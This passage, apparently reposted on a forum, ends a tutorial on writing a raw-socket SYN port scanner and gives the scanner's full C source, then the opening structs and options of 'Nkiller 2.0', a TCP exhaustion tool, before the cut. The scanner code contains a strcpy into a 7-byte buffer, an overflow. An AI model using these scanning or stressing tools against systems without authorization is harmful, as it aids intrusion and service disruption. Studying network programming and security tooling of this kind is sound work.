we shall send will be like. We define a raw socket as: int sockfd; sockfd = socket(AF_INET, SOCK_RAW, protocol); where protocol is one of the constants from the <netinet/in.h> header It is also important to set the socket option of IP_HDRINCL which allows us to define the IP header however we like. const int on; if ( setsockopt ( sockfd , IPPROTO_IP , IP_HDRINCL , &on , sizeof(on)) < 0 ) error It should be noted down that for the creation of a raw socket we need root priviledges. From the moment we know the headers' formats that we saw in section 0x3, it is relevantly easy to create the datagram we want: int sockfd,i; struct sockaddr_in sin; char datagram[4096]; // buffer for datagrams struct sniff_ip *iph = (struct sniff_ip *) datagram; struct sniff_tcp *tcph = (struct sniff_tcp *) (datagram + sizeof (struct sniff_ip)); sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP) ; sin.sin_family = AF_INET; sin.sin_port = htons (i); memset (datagram, 0, 4096); /* zero out the buffer */ iph->ip_vhl = 0x45; /* version=4,header_length=5 (no data) */ iph->ip_tos = 0; /* type of service not needed */ iph->ip_len = sizeof (struct sniff_ip) + sizeof (struct tcphdr); /* no payload */ iph->ip_id = htonl (54321); /*simple id*/ iph->ip_off = 0; /*no fragmentation*/ iph->ip_ttl = 255; /*Time to Live -> set maximum value*/ iph->ip_p = IPPROTO_TCP; /* 6 as a value - see "/etc/protocols" */ iph->ip_src.s_addr = ipP->sin_addr.s_addr; /*local device IP */ iph->ip_dst.s_addr = sin.sin_addr.s_addr; /*destination address*/ iph->ip_sum = 0; /*no need to fill ip checksum- kernel does that*/ tcph->th_sport = htons (1234); /* arbitrary port */ tcph->th_dport = htons (i); /* scanned destination port */ tcph->th_seq = random (); /* the random SYN sequence */ tcph->th_ack = 0; /* No ACK needed */ tcph->th_offx2 = 0x50; /* 50h (5 offset) ( 8 0s reserverd )*/ tcph->th_flags = TH_SYN; /* initial connection request FLAG*/ tcph->th_win = (65535); /* maximum allowed window size*/ tcph->th_sum = 0; /* will compute later */ tcph->th_urp = 0; /* no urgent pointer */ { int one = 1; const int *val = &one; if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL for port %d\n",i); } Now that our datagram is ready, the only thing that is left is to send it: if (sendto (sockfd ,datagram, iph->ip_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) { printf ("Error sending datagram for port %d\n",i); } We used here a simple i variable for the victim's port. Putting all the above inside a loop we can send SYN packets to any port we are interested in. There is still something missing though... because we left one important value undefined and without it our packet will be DROPed by an receiver!! For those who haven't understood yet, we are talking about the TCP checksum field. The algorithm is described in analysis in RFC 1071 but in a few words it goes as follows: We make 16bit words from the bytes that will be checksumed and we calculate their sum in a 1's complement form. That is what the function below implements: uint16_t checksum_comp ( uint16_t *addr , int len ) { /* compute TCP header checksum */ /* with the usual algorithm a bit changed */ /* for byte ordering problem resolving */ /* RFC 1071 for more info */ /* Compute Internet Checksum for "count" bytes * beginning at location "addr". */ register long sum = 0; int count = len; uint16_t temp; while( count > 1 ) { temp = htons(*addr++); // in this line:added -> htons sum += temp; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) sum += * (unsigned char *) addr; /* Fold 32-bit sum to 16 bits */ while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); uint16_t checksum = ~sum; return checksum; } What is not so clearly documented is that the TCP checksum mustn't be calculated only on the tcp header but it MUST be calculated along with a pseudo-header that contains the following info: struct pseudo_hdr { u_int32_t src; /* 32bit source ip address*/ u_int32_t dst; /* 32bit destination ip address */ u_char mbz; /* 8 reserved bits (all 0) */ u_char proto; /* protocol field of ip header */ u_int16_t len; /* tcp length (both header and data */ }; Thus we will have to write: struct pseudo_hdr *phdr = (struct pseudo_hdr *) ( datagram + sizeof(struct sniff_ip) + sizeof(struct sniff_tcp) ) ; phdr->src = iph->ip_src.s_addr; phdr->dst = iph->ip_dst.s_addr; phdr->mbz = 0; phdr->proto = IPPROTO_TCP; phdr->len = ntohs (0x14); tcph->th_sum = htons ( checksum_comp ( (unsigned short *) tcph , sizeof(struct pseudo_hdr)+sizeof(struct sniff_tcp))); Attention is needed in fields that will need to be converted to network byte order (big endian) from host byte order (little endian or big endian depending on the box) calling the respective functions htonl or htons as well as their opposites ntohs or ntohl. Sometimes it may be necessary to experiment, like the writer when he calculated the checksum manually. Here is a good point to use the values that tcpdump had given us in the previous section for the tcp checksum field and to verify it manually by calculating the 1's sums of the bytes of the tcp + pseudo headers. --------------------------------- 0x5. libpcap /sniffing session --------------------------------- Given that we have sent the SYN packets, we will need to examine the victim's reply to record which ports it has open. The question is if we can use an equal logic like the one we use in plain sockets. The answer is no. The kernel does never pass TCP ( and UDP ) packets to a raw socket. This is not entirely true for every kernel since Linux implements raw sockets in another way and we could sniff a TCP reply without having to use something else. However a call for portability denotes that we are not going to use this unportable way. This means that we are not going to read the victim's answer with such a traditional way like the sockets API. We will need access to the datalink layer itself! The 3 most common methods to do something like this in a Unix environment are: a) BPF (berkley packet filter) DLPI (SVR4 Datalink Provider Interface) c) SOCK_PACKET interface óôï Linux The bad thing about these methods is that they are platform-dependent and thus reduce portability. Here libpcap gives the solution - the packet capture library. Now is the right time to visit the link that we have mentioned before as a credit to Tim Carstens: http://www.tcpdump.org/pcap.htm Tcpdump itself has been written with this library, proof of the possibilities that it provides us. For someone to be able to continue smoothly here on, he will need to take a good look at the man pages of the library (online version here -> www.tcpdump.org/pcap3_man.html) and especially at the functions: int pcap_findalldevs(pcap_if_t **alldevsp, char *errbuf) char *pcap_lookupdev(char *errbuf) int pcap_lookupnet(const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf) int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) int pcap_setfilter(pcap_t *p, struct bpf_program *fp) pcap_t *pcap_open_live(const char *device, int snaplen, int promisc, int to_ms, char *errbuf) int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user) int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) void pcap_breakloop(pcap_t *) The first thing we need to do is find which devices are available in our own box and use one of them for sniffing in the datalink layer. Maybe you have already realized which function is appropriate for this job: pcap_if_t *alldev; if ((pcap_findalldevs (&alldev, errbuf)) == -1) { printf ( "%s\n" , errbuf ); exit(-1); } After we find one device and an available IP that represents it ( the default case is usually one IP per device ), we can begin the sniffing session calling pcap_t *pcap_open_live(const char *device, int snaplen, int promisc, int to_ms, char *errbuf) which returns a pointer to a pcap session id that is defined as pcap_t. The function's parameters can even be guessed from their names: char *device: the device we found with pcap_findalldevs() and we are going to use in the session int snaplen: the maximum size of bytes for every packet that we will sniff - 65535 is more than enough int promisc: 1 or 0 , promiscuous or not , hate mail from net admin or not etc int to_ms: read timeout in ms for the platforms that support it - it doesn't interest us char *errbuf: the buffer that holds all libpcap errors After we open the session, we are going to apply filtering. The biggest convenience that the library provides us with are the filters, that are described analytically by the tcpdump manpages (online version here-> http://www.tcpdump.org/tcpdump_man.html ). We filter the network traffic to the specific information that we are interested in and analyse each packet for the fields that interest us. In our case we need to see only the victim's reply. Consequently our filter will be of the form: src host ip where ip is the address of the victim. We go on with the filter's compilation: int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask) pcap_t *p: our session struct bpf_program *fp: the struct into which the compiled filter will be saved char *str: the filter expression , thus src host ip The rest 2 options, we shall not need ( int optimize , bpf_u_int32 netmask ) - 0 both The last step for our sniff engine is the application of the filter: int pcap_setfilter(pcap_t *p, struct bpf_program *fp) as for the 2 options, you can understand yourselves what they are, if you have read the above well enough. Now that our engine is ready the only thing that needs to be done is to power it on. Essentially this is done with one of these: int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user) Þ int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) You can refer to the man pages to see the subtle difference between the two but this is not so important for the scanner. The pcap_handler is the function that we have defined to process each packet that is captured by the engine. Maybe we forgot our purpose? What we need to examine is if the victim has sent a reply with the SYN and ACK flags ON: if ( ( (tcp->th_flags & 0x02) == TH_SYN) && ( tcp->th_flags & 0x10 ) == TH_ACK )) { //PORT OPEN !!! } In the opposite case the victim replies with a RST, so we can say with nearly absolute certainty that the port is closed. There is always the possibility that the packets will be DROPed for 0xE2A reasons (1002d) during the course either from the host itself or from a firewall or other gateway, so in that case we define the port's state as unknown/filtered. We have taken precautions though, with an internal timeout through a SIGALRM that is triggered by an alarm() and a signal handler to be able to escape the immobility that our central pcap_dispatch necessarily has ( it needs to work in blocking mode ) and to go on with the scanning of the rest of the ports. The 3rd step of the SYN scanning is needed though, isn't it? Shouldn't we also send a RST to the receiver if he replies us positively? It seems that the kernel itself (not so oddly) helps us in this situation by automatically sending a RST packet to the victim in that case. Attention though, since this might be different from operating system to operating system and it might be needed to send our own explicitly. In that case, what you need only do is to complete with your own code the explicit sending of the TCP datagram with RST on. If you have understood and studied all the above, it may not seem so difficult now. Another piece of our scanner has just been finished. It is time to put it all together. Combining then all the above we make our SYN scanner. ---------------------------------- 0x6. The SYN port scanner (source) ---------------------------------- -------------- 0x7. Epilogue -------------- If you have managed so far and studied the source coude, then well done. I hope that you have learned something through all this guide and that it aroused your interest for the sector of network programming and security applications/tools on which is based. Like I mention in the source 's introduction I will value any feedback and I encourage you to make your own changes and improvements on the code, as I believe that as a whole it just sets the base for a custom security scanner. Possible expansions for the tool: 1) IP spoofing capabilities 2) Real time port randomization 3) Alternate probing and IP expiry tactics For any ( serious ) contact about the project mail me here -> ithilgore.ryu.L@gmail.com ---------------- 0x8. References ---------------- -UNIX Network Programming Volume 1, Third Edition: The Sockets Networking API -http://mixter.void.ru/rawip.html (raw sockets tutorial) -http://www.netfor2.com/checksum.html (IP checksum introduction) -http://www.tcpipguide.com/free/t_TCPChecksumCalculationandtheTCPPseudoHeader.htm (TCP checksum and pseudo header) RFCs -http://www.ietf.org/rfc/rfc0791.txt (IP) -http://www.ietf.org/rfc/rfc0793.txt (TCP) -http://www.ietf.org/rfc/rfc1071.txt (Checksum) -http://www.tcpdump.org (libpcap + tcpdump) --EOF-- Sursa scanner: http://rstcenter.com/forum/34495-syn-port-scanner-source.rst Articol: http://sock-raw.org/papers/syn_scanner
-
SYN port scanner (source) version 1.2 by ithilgore ithilgore.ryu.L@gmail.com /****************************************************************************/ /* Creeper - a simple Syn Scanner */ /* minimalistic port scanner for educational purposes */ /* Copyright (C) 2007 ithilgore - ithilgore.ryu.L@gmail.com */ /* */ /* This program is free software: you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation, either version 3 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* */ /****************************************************************************/ /****************************************************************************/ /* Creeper */ /* version 1.2 */ /* by ithilgore */ /* ithilgore.ryu.L@gmail.com */ /* */ /* compile with: gcc creeper.c -lpcap -o creeper */ /* some compilers may also need -fpack-struct */ /* */ /* Use of this code is for educational purposes only. I am not responsible */ /* for any illegal or criminal activities performed with this tool or */ /* any modifications of it. */ /* This tool is free and open software. This means you can do anything you */ /* like with it with your own responsibility and with no warranty from me. */ /* to the source. */ /* */ /* This tool has been tested so far and works sucessfully in: */ /* ----Slackware 11 with kernel 2.2.4.33 */ /* ----Arch Linux (Core Dump) kernel 2.6.23 */ /****************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <pcap.h> #include <signal.h> #define BUFSIZE 65535 //maximum size of any datagram(16 bits the size of identifier) #define TRUE 1 #define FALSE 0 #define default_low 1 #define default_high 1024 /* change the timeout at will * it defines how long the scanner will wait for * an answer from the scanned host * careful though - testing shows < 4 is bad * it is just another factor between speed and accuracy */ #define DEFAULT_S_TIMEOUT 5 /* default snap length (maximum bytes per packet to capture) */ #define SNAP_LEN 1518 /* ethernet headers are always exactly 14 bytes */ #define SIZE_ETHERNET 14 /* Ethernet addresses are 6 bytes */ #define ETHER_ADDR_LEN 6 /* USING TCPDUMP-like header structs */ /* Ethernet header */ struct sniff_ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* source host address */ u_short ether_type; /* IP? ARP? RARP? etc */ }; /* IP header */ struct sniff_ip { u_char ip_vhl; /* version << 4 | header length >> 2 */ u_char ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src,ip_dst; /* source and dest address */ }; #define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) #define IP_V(ip) (((ip)->ip_vhl) >> 4) /* TCP header */ typedef u_int tcp_seq; struct sniff_tcp { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ u_char th_offx2; /* data offset, rsvd */ #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) u_char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_ECE 0x40 #define TH_CWR 0x80 #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) u_short th_win; /* window */ u_short th_sum; /* checksum */ u_short th_urp; /* urgent pointer */ }; /* pseudo header used for tcp checksuming * a not so well documented fact ... in public */ struct pseudo_hdr { u_int32_t src; u_int32_t dst; u_char mbz; u_char proto; u_int16_t len; }; /* Global Variables */ int verbose_mode; int stealth_mode; /* Syn Scanning */ int s_timeout; /* timeout seconds for Syn Scanning */ long int low_port = default_low; long int high_port = default_high; char *ipArg = NULL; pcap_t *session; /* Function Prototypes */ void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet); void print_usage(const char *argv); int check_Port(long *lport, long *hport, char *optar); uint16_t checksum_comp(uint16_t *addr, int len); pcap_t* EnginePreparing(char *vicIP, struct sockaddr_in **ipP, pcap_t *session); struct hostent* host_resolve(void); void Syn_Scanning(void); void Connect_Scanning(void); void sigfunc(int); /* Function Prototypes end*/ /********************************MAIN PROGRAM********************************/ int main(int argc, char *argv[]) { if ( argc == 1 ) { print_usage( argv[0] ); exit(0); } int opt; while ( (opt = getopt(argc , argv , "h:vp:S") ) != -1 ) { switch (opt) { case 'h': ipArg = optarg; break; case 'v': verbose_mode = TRUE; break; case 'p': check_Port (&low_port, &high_port, optarg); break; case 'S': stealth_mode = TRUE; break; case '?': fprintf (stderr, "option inconsistency : -%c \n" "see usage(no arguments)\n", optopt); exit(EXIT_FAILURE); } } if (ipArg == NULL){ fprintf(stderr, "No host given-see usage(no arguments)\n" ); exit(EXIT_FAILURE); } if (!stealth_mode) { Connect_Scanning(); } else { if (getuid() && geteuid()) { fprintf(stderr, "Need to be root to initiate Syn Scanning\n"); exit(EXIT_FAILURE); } Syn_Scanning(); } exit(EXIT_SUCCESS); } void print_usage(const char *argv) { fprintf(stdout, "Port Scanner by ithilgore\n" "usage: %s -h Host [OPTIONS]\n" "Host -> IP or Name\n" "OPTIONS include:\n" "-v : verbose mode\n" "-p : port range (eg. -p23 , -p0-1024)\n" "-S : stealth mode on ( syn scanning )\n" "more options to be included\n\n" , argv); } int check_Port (long *lport, long *hport, char *optar) { char *s1 = optar ; //point to the char after 'p' errno = 0; *lport = strtol(s1, (char **)NULL, 10); if (errno != 0) { perror ("Port number problem \n"); exit(0); } if (!(s1 = index(s1, '-'))) { //if no port range specified (no other '-' found) *hport = *lport; return 0; } else { *hport = strtol(++s1, NULL, 10) ; if (errno != 0) { perror("Port number problem \n"); exit(0); } if (low_port > high_port) { fprintf(stdout, "low_port is higher than high_port: swapping...\n"); *lport ^= *hport; *hport ^= *lport; *lport ^= *hport; } } } struct hostent* host_resolve(void) { struct hostent *hostname; extern char * ipArg; if (!(hostname = gethostbyname(ipArg))) { fprintf (stderr, "Host name resolution failed for %s \n" "Try using the nslookup prog to find the IP address\n", ipArg); exit(EXIT_FAILURE); } if (verbose_mode) { fprintf(stdout, "Host Resolution results:\n" "Name: %s\n" "Aliases:", hostname->h_name); char **alias = hostname->h_aliases; while(*alias) { fprintf(stdout, "%s ", *alias); alias++; } char **addrs = hostname->h_addr_list; fprintf(stdout, "\nIP address/es:\n"); while(*addrs) { fprintf(stdout, " %s ", inet_ntoa(*(struct in_addr *)*addrs)); addrs++; } printf("\n"); } return hostname; } void Connect_Scanning(void) { int sockfd; char temp_addr[7]; struct sockaddr_in sockaddr; struct servent *serv; struct hostent * hostname; hostname = (struct hostent *)host_resolve(); char **addr = hostname->h_addr_list; /* transfer of dotted-decimal IP of first IP from resolving */ strcpy (temp_addr, inet_ntoa(*(struct in_addr *)*addr)); fprintf(stdout, "Initiating Connect() Scan against %s [%ld ports] \n", temp_addr, (high_port-low_port+1)); int i = 0; for (i = low_port; i <= high_port; i++) { if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Socket error"); exit(EXIT_FAILURE); } sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(i); inet_pton(AF_INET, temp_addr, &sockaddr.sin_addr); if (!connect(sockfd, (struct sockaddr*)& sockaddr, sizeof(sockaddr))) { serv = getservbyport(htons(i), "tcp"); fprintf(stdout, "TCP port %d open , possible service: %s\n", i, serv->s_name); } close(sockfd); } fprintf(stdout, "Connect Scanning completed\n"); } void sigfunc(int signum) { /* signal handler */ pcap_breakloop(session); } void Syn_Scanning(void) { s_timeout = DEFAULT_S_TIMEOUT; /* global var for timeout */ int sockfd; int timeout = 0; /* check if timeout with return from dispatch */ char temp_addr[16]; struct sockaddr_in sin; struct servent *serv; struct hostent *hostname; struct sockaddr_in *ipP; /* local ip storage */ hostname = (struct hostent *)host_resolve(); char **addr = hostname->h_addr_list; strncpy(temp_addr, inet_ntoa(*(struct in_addr *)*addr), 16); char datagram[4096]; // buffer for datagrams struct sniff_ip *iph = (struct sniff_ip *)datagram; /* tcp header begins right after the end of the ip header */ /* can it work in reverse ? Of course not */ struct sniff_tcp *tcph = (struct sniff_tcp *)(datagram + sizeof(struct sniff_ip)); struct sigaction act; act.sa_handler = sigfunc; sigemptyset(&act.sa_mask); act.sa_flags = 0; /* read man of libpcap -> SA_RESTART MUST BE OFF */ /* Prepare the Sniffing Engine */ session = (pcap_t *)EnginePreparing(temp_addr, &ipP, session); fprintf(stdout, "Initiating Syn Scanning against %s [%ld ports] \n", temp_addr, (high_port-low_port+1)); int i = 0; for (i = low_port; i <= high_port; i++) { if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror("sock:"); exit(EXIT_FAILURE); } sin.sin_family = AF_INET; inet_pton(AF_INET, temp_addr, &sin.sin_addr); memset(datagram, 0, 4096); /* zero out the buffer */ iph->ip_vhl = 0x45; /* version=4,header_length=5 (no data) */ iph->ip_tos = 0; /* type of service -not needed */ iph->ip_len = sizeof (struct sniff_ip) + sizeof (struct sniff_tcp); /* no payload */ iph->ip_id = htonl(54321); /* simple id */ iph->ip_off = 0; /* no fragmentation */ iph->ip_ttl = 255; /* time to live - set max value */ iph->ip_p = IPPROTO_TCP; /* 6 as a value - see /etc/protocols/ */ iph->ip_src.s_addr = ipP->sin_addr.s_addr; /*local device IP */ iph->ip_dst.s_addr = sin.sin_addr.s_addr; /* dest addr */ iph->ip_sum = /* no need for ip sum actually */ checksum_comp( (unsigned short *)iph, sizeof(struct sniff_ip)); tcph->th_sport = htons(1234); /* arbitrary port */ tcph->th_dport = htons(i); /* scanned dest port */ tcph->th_seq = random(); /* the random SYN sequence */ tcph->th_ack = 0; /* no ACK needed */ tcph->th_offx2 = 0x50; /* 50h (5 offset) ( 8 0s reserverd )*/ tcph->th_flags = TH_SYN; /* initial connection request */ tcph->th_win = (65535); /* maximum allowed window size */ tcph->th_sum = 0; /* will compute later */ tcph->th_urp = 0; /* no urgent pointer */ /* pseudo header for tcp checksum */ struct pseudo_hdr *phdr = (struct pseudo_hdr *) (datagram + sizeof(struct sniff_ip) + sizeof(struct sniff_tcp)); phdr->src = iph->ip_src.s_addr; phdr->dst = iph->ip_dst.s_addr; phdr->mbz = 0; phdr->proto = IPPROTO_TCP; phdr->len = ntohs(0x14); /* in bytes the tcp segment length */ /*- WhyTF is it network byte saved by default ????*/ tcph->th_sum = htons(checksum_comp((unsigned short *)tcph, sizeof(struct pseudo_hdr)+ sizeof(struct sniff_tcp))); int one = 1; const int *val = &one; if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) fprintf(stderr, "Warning: Cannot set HDRINCL for port %d\n",i); if (sendto(sockfd, datagram, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { fprintf(stderr, "Error sending datagram for port %d\n", i); break; } sigaction (SIGALRM, &act, 0); alarm(s_timeout); // give port as argument to callback function timeout = pcap_dispatch(session, -1, got_packet, (u_char *)i); alarm(0); /* trigger off alarm for this loop */ if (verbose_mode && timeout == -2) { fprintf(stdout, "timeout for port %d\n", i); } } fprintf(stdout, "SYN Scanning completed\n"); } uint16_t checksum_comp (uint16_t *addr, int len) { /* compute TCP header checksum */ /* with the usual algorithm a bit changed */ /* for byte ordering problem resolving */ /* see RFC 1071 for more info */ /* Compute Internet Checksum for "count" bytes * beginning at location "addr". */ register long sum = 0; int count = len; uint16_t temp; while (count > 1) { temp = htons(*addr++); // in this line:added -> htons sum += temp; count -= 2; } /* Add left-over byte, if any */ if(count > 0) sum += *(unsigned char *)addr; /* Fold 32-bit sum to 16 bits */ while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); uint16_t checksum = ~sum; return checksum; } pcap_t* EnginePreparing (char * vicIP, struct sockaddr_in **ipP, pcap_t *session) { char *dev; char errbuf[PCAP_ERRBUF_SIZE]; bpf_u_int32 devip, netmask; struct pcap_pkthdr header; struct bpf_program filter; /* compiled filter */ char filter_exp[30] = "src host "; /* we filter the traffic to the victim */ pcap_if_t *alldev; /* yes some numbers are HARDCODED as they should be */ /* guess why and then try exploiting it */ strncpy((char *)filter_exp+9, vicIP, 16); fprintf(stdout, "filter exp: %s \n ", filter_exp); if ((pcap_findalldevs(&alldev, errbuf)) == -1) { fprintf (stderr, "%s\n", errbuf); exit(EXIT_FAILURE); } struct pcap_addr *address = alldev->addresses; address = address->next; /*first address is U(F)O*/ struct sockaddr_in * ip; while (address) { if (address->addr) { ip = (struct sockaddr_in *) address->addr; fprintf (stdout, "Local IP: %s \n", inet_ntoa(ip->sin_addr)); } address = address->next; } *ipP = (struct sockaddr_in *)alldev->addresses->next->addr; /* local ip to be used in the raw datagram */ /* choose the first you find -there was some problem when choosing the last * ip since the last found might be 0.0.0.0 and thus chaos would occur */ dev = alldev->name; /*if ( (dev = pcap_lookupdev(errbuf)) == NULL) { printf ( "%s\n" , errbuf ) ; printf ( "Using default eth0 \n"); dev = "eth0" ; }*/ if (verbose_mode) { fprintf (stdout, "Using local IP: %s \n", inet_ntoa((*ipP)->sin_addr)); fprintf(stdout, "Using local Device: %s\n", dev); } if ((session = pcap_open_live (dev, BUFSIZE, 0, 0, errbuf)) == NULL) { fprintf (stderr, "Could not open device %s: error: %s \n ", dev, errbuf); exit (EXIT_FAILURE); } if (pcap_compile(session, &filter, filter_exp, 0, 0) == -1) { fprintf (stderr, "Couldn't parse filter %s: %s \n ", filter_exp, pcap_geterr(session)); exit (EXIT_FAILURE); } if (pcap_setfilter(session, &filter) == -1) { fprintf (stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(session)); exit (EXIT_FAILURE); } return session; } void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { const struct sniff_tcp *tcp; const struct sniff_ip *ip; const struct sniff_ethernet *ether; struct servent *serv; int size_ip; int size_tcp; ether = (struct sniff_ethernet*) (packet); ip = (struct sniff_ip *) (packet + SIZE_ETHERNET); size_ip = IP_HL(ip)*4; if (size_ip < 20) { fprintf (stderr, "Invalid IP header length: %u bytes \n", size_ip); return; } if (ip->ip_p != IPPROTO_TCP) { fprintf (stderr, "Returned Packet is not TCP protocol \n"); return; } tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip); size_tcp = TH_OFF(tcp)*4; if (size_tcp < 20) { fprintf (stderr, " * Invalid TCP header length: %u bytes\n", size_tcp); return; } /* the actual SYN scanning (heh) : we examine if the SYN flag is on at the receiving packet(port open) */ if (((tcp->th_flags & 0x02) == TH_SYN) && (tcp->th_flags & 0x10) == TH_ACK) { serv = getservbyport ( htons((int)args), "tcp" ); fprintf (stdout, "TCP port %d open , possible service: %s\n", args, serv->s_name); // RST is sent by kernel automatically } else if ((tcp->th_flags & 0x04 ) == TH_RST && verbose_mode) { //fprintf (stdout, "TCP port %d closed\n", args ); too much info on screen } else if (verbose_mode) { //fprintf (stdout, "Port %d state unknown/filtered \n", args); } } Sursa: http://sock-raw.org/papers/syn_scanner
-
Nkiller 2.0 - a TCP exhaustion/stressing tool * Copyright © 2009 ithilgore <ithilgore.ryu.L@gmail.com> * sock-raw.org /* * Nkiller 2.0 - a TCP exhaustion/stressing tool * Copyright (C) 2009 ithilgore <ithilgore.ryu.L@gmail.com> * sock-raw.org * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* * COMPILATION: * gcc nkiller2.c -o nkiller2 -lpcap -lssl -Wall -O2 * Has been tested and compiles successfully on Linux 2.6.26 with gcc * 4.3.2 and FreeBSD 7.0 with gcc 4.2.1 */ /* * Enable BSD-style (struct ip) support on Linux. */ #ifdef __linux__ # ifndef __FAVOR_BSD # define __FAVOR_BSD # endif # ifndef __USE_BSD # define __USE_BSD # endif # ifndef _BSD_SOURCE # define _BSD_SOURCE # endif # define IPPORT_MAX 65535u #endif #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <openssl/hmac.h> #include <errno.h> #include <pcap.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <time.h> #include <unistd.h> #include <getopt.h> #define DEFAULT_KEY "Nkiller31337" #define DEFAULT_NUM_PROBES 100000 #define DEFAULT_PROBES_RND 100 #define DEFAULT_POLLTIME 100 #define DEFAULT_SLEEP_TIME 100 #define DEFAULT_PROBE_INTERVAL 150 #define WEB_PAYLOAD "GET / HTTP/1.0\015\012\015\012" /* Timeval subtraction in microseconds */ #define TIMEVAL_SUBTRACT(a, \ (((a).tv_sec - (.tv_sec) * 1000000L + (a).tv_usec - (.tv_usec) /* * Pseudo-header used for checksumming; this header should never * reach the wire */ typedef struct pseudo_hdr { uint32_t src; uint32_t dst; unsigned char mbz; unsigned char proto; uint16_t len; } pseudo_hdr; /* * TCP timestamp struct */ typedef struct tcp_timestamp { char kind; char length; uint32_t tsval __attribute__((__packed__)); uint32_t tsecr __attribute__((__packed__)); char padding[2]; } tcp_timestamp; /* * TCP Maximum Segment Size */ typedef struct tcp_mss { char kind; char length; uint16_t mss __attribute__((__packed__)); } tcp_mss; /* Network stack templates */ enum { T_LINUX, T_BSDWIN }; /* Possible replies */ enum { S_ERR, /* no reply, RST, invalid packet etc */ S_SYNACK, /* 2nd part of initial handshake */ S_FDACK, /* first data ack - in reply to our first data */ S_DATA_0, /* first data packet */ S_DATA_1, /* second data packet */ S_PROBE /* persist timer probe */ }; /* * Ethernet header stuff. */ #define ETHER_ADDR_LEN 6 #define SIZE_ETHERNET 14 typedef struct ethernet { u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */ u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */ u_short ether_type; /* Frame type */ } ether_hdr; /* * Global nkiller options struct */ typedef struct Options { char target[16]; char skey[32]; char payload[256]; char path[256]; /* relative to virtual-host/ip path */ char vhost[256]; /* virtual host name */ uint16_t *portlist; unsigned int probe_interval; /* interval for our persist probe reply */ unsigned int probes; /* total number of fully-connected probes */ unsigned int probes_per_rnd; /* number of probes per round */ unsigned int polltime; /* how many microsecods to poll pcap */ unsigned int sleep; /* sleep time between each probe */ int template; /* victim network stack template */ int dynamic; /* remove ports from list when we get RST */ int guardmode; /* continue answering to zero probes */ int verbose; int debug; /* some debugging info */ int debug2; /* all debugging info */ } Options; /* * Port list types */ typedef struct port_elem { uint16_t port_val; struct port_elem *next; } port_elem; typedef struct port_list { port_elem *first; port_elem *last; } port_list; /* * Host information */ typedef struct HostInfo { struct in_addr daddr; /* target ip address */ char *payload; char *url; char *vhost; size_t plen; /* payload length */ size_t wlen; /* http request length */ port_list ports; /* linked list of ports */ unsigned int portlen; /* how many ports */ } HostInfo; typedef struct SniffInfo { struct in_addr saddr; /* local ip */ pcap_if_t *dev; 